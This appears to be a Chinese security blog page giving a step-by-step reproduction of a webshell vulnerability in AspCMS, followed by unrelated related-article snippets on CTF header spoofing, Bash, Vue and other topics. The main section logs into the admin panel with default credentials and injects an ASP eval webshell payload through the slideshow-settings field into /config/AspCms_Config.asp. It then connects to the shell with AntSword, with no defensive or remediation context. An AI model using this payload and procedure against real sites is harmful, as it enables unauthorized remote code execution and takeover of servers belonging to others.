步骤一：/admin_aspcms/login.asp访问后台，admin 123456 登录
步骤二：点击【扩展功能】【幻灯片设置】点击【保存】开启代理进行抓包
步骤三：.在抓取的数据包中修改 slideTextStatus 字段的值为以下代码并进行发包 访问影响文件
字段值
1%25><%25Eval(Request (chr(65)))%25><%25 密码是a
影响文件
/config/AspCms_Config.asp
步骤四：蚁剑连接
aspcms webshell漏洞复现
embedded/2024/9/24 16:07:00/
相关文章
【CTF Web】BUUCTF BUU BURP COURSE 1 Writeup（X-Real-IP伪造+POST请求）
BUU BURP COURSE 1
1 点击启动靶机。 解法 用 hackbar 将 X-Forwarded-For 设为 127.0.0.1，无效。提示：只能本地访问。
将 Referer 设为 127.0.0.1，无效。提示：只能本地访问。
将 X-Real-IP 设为 127.0.0.1，成功&am…
Linux bash 关联数组
目录 一. 关联数组定义二. 访问关联数组三. 元素的添加与删除四. 键值对的获取与遍历五. 实际应用5.1 读取封装配置文件内容5.2 收集系统信息 一. 关联数组定义
从 Bash 4.0 开始，Bash 支持关联数组。关联数组允许你将键和值配对，并通过键来访问值&…
8.Bug流程管理，禅道的使用（包含笔试/面试题）
一、bug的生命周期（重点） bug的生命周期就是从bug被发现到bug被关闭的整个过程。 1.bug生命周期： 新建（提交bug） - 指派 - 已解决 - 待验 - 关闭 new（新建） - assign额的&…
2024年上海小学生古诗文大会倒计时一个月：做几道2024官方模拟题
2024年上海市小学生古诗文大会自由报名活动的初赛日期于10月19日开始，距离今天只有33天了。
那么如何准备2024年的小学生古诗文大会的自由报名初选呢？吃透（记熟）2024年小学生古诗文阅读专辑上的题目、知识点和往年真题及知识点。…
Vue3实现打印功能
1、安装插件
npm i vue3-print-nb --save
2、main.js全局配置
import print from vue3-print-nb
app.use(print)
3、设置打印区域
为打印区域设置 id 选择器
<div id"printData"><el-table border :data"tableData" style"width: 100%…
2021高教社杯全国大学生数学建模竞赛C题 Python代码演示
目录 问题一1.1 根据附件 1，对 402 家供应商的供货特征进行量化分析计算供货特征数据标准化对正向指标归一化对负向指标归一化 1.2 建立反映保障企业生产重要性的数学模型熵权法熵权法-TOPSISAHP 1.3 在此基础上确定 50 家最重要的供应商，并在论文中列表…
【计算机网络】第一章
一、计算机网络的各种定义 Internet：因特网（外国资源） internet：互联网络（两个或两个以上的网络相互连接构成）->专指某一种类型的网络 计算机网络：将分散在不同地理位置上的具有自主处理能力…
c#中的版本管理和描述
StringBuilder sb new StringBuilder(); sb.Append("1、开发框架选型，编程语言选型和开发控件选型，基础框架搭建"); sb.Append(Environment.NewLine); sb.Append("2、测试环境数据库中版本表结构和账号表结构设计；");
…